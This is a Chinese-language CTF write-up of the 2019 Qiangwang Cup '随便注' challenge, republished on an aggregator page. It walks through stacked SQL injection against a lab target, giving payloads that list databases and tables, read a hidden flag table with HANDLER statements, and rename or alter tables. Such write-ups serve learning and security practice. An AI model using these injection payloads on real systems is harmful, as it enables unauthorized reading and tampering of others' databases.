当前位置: 首页 > news >正文

[强网杯 2019]随便注 1

目录

0x00 判断是否是字符型注入

0x01 判断是否存在关键字过滤

堆叠注入

0x03 查询字段数

0x04 查看数据库

0x05 查看数据库表

0x06 爆数据表的字段

0x07 爆字段

第一种 handler语句代替select语句

第二种 更改表名列名为后台代码查询的数据表


0x00 判断是否是字符型注入

0x01 判断是否存在关键字过滤

联合查询被过滤,那么只能试试堆叠注入

堆叠注入

stacked injections,顾名思义就是一堆sql语句一起执行,我们知道在mysql中,执行一句命令以分号结束,那么我们就可以想到show databases;show tables两个命令一起执行。

那么堆叠注入和联合查询有什么不一样呢?在联合查询中,执行的语句是有限的,union前后是必须有所关联的,而在堆叠注入中,我们可以随意执行任意sql语句,例如:

1;show databases;

执行以上这句sql命令,在服务器端生成的语句为:

select * from students where id=1;show databases;

那就很明显我们执行了两个指令,一个查询id为1的学生,一个是查询数据库表。

但是堆叠注入也存在局限性,它可能会受到API或者数据库引擎不支持的限制、权限不足等等。

0x03 查询字段数

这里order by 2正常回显,尝试order by 3报错,目前看出该表有两个字段。

0x04 查看数据库

1';show databases;#

0x05 查看数据库表

1';show tables;

0x06 爆数据表的字段

1';show columns from words

1';show columns from `1919810931114514`;#

注意:当数据表为数字的时候需要用反引号括起来

我们可以看到两个表,words有两个字段,而1919810931114514只有一个字段,所以我们可以简单的猜测一下后台的SQL查询语句应该为:

select * from words where id=

所以我们在这里只能查询words表中的id字段,因为select关键字被过滤了,所以另一个表中的flag字段没有办法查询。

0x07 爆字段

我在其他作者的解题方法中又看见两种方式爆出glag

第一种 handler语句代替select语句

通过handler语句查询users表的内容
handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名
handler yunensec read first; #读取指定表/句柄的首行数据
handler yunensec read next; #读取指定表/句柄的下一行数据
handler yunensec read next; #读取指定表/句柄的下一行数据

payload就可以为:

1';handler `1919810931114514` open as `key`;handler `key` read next;

第二种 更改表名列名为后台代码查询的数据表

我们可以发现,words表中的data字段和1919810931114514表中的flag字段均为varchar类型,那就来思路了呀,可以将表1919810931114514名字改为words,flag列名改为id,就可以查询了

1';
rename table `words` to words1;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);

http://www.dtcms.com/a/123083.html

相关文章:

  • Matter的优势#4:安全性和加密
  • RHCSA Linux系统 数据流和重定向 tee 命令
  • 【非机动车检测】用YOLOv8实现非机动车及驾驶人佩戴安全帽检测
  • MySQL 的四种社交障碍等级
  • 经济金融最优化:从理论到MATLAB实践——最大利润问题全解析
  • 程序设计竞赛1
  • java笔记03
  • 安装了VM Tools,仍无法复制拖动-解决方案
  • 如何通过前端表格控件实现自动化报表?1
  • wsl2+ubuntu22.04安装blenderproc教程
  • React 的 context 是什么?
  • GPT - 因果掩码(Causal Mask)
  • C语言复习笔记--指针(4)
  • lombok的坑
  • JVM 调试与内存优化实战详解
  • 可编辑37页PPT | 建筑行业DeepSeek日常实操培训
  • keil5使用技巧
  • 踩雷,前端一直卡在获取token中
  • GaussDB存储过程深度解析:从开发到生产实践
  • 4.9-4.10学习总结 Stream流练习+方法引用+异常
  • C/C++内存管理:从基础到进阶
  • Leetcode 69——不使用sqrt函数情况下求平方根整数部分(暴力求解法和二分查找法)
  • Pytest多环境切换实战:测试框架配置的最佳实践!
  • EPGAN:融合高效注意力的生成对抗网络图像修复算法
  • Promise(微任务)和setTimeout(宏任务)的理解
  • P1825 [USACO11OPEN] Corn Maze S【java】【AC代码】
  • C++:函数模板类模板
  • 什么是巨型帧Jumbo Frames?云服务器开启巨型帧有什么用?
  • 2025年4月9日-华为暑期实习-第二题-200分
  • 动态类生成 / 加载机制(更新)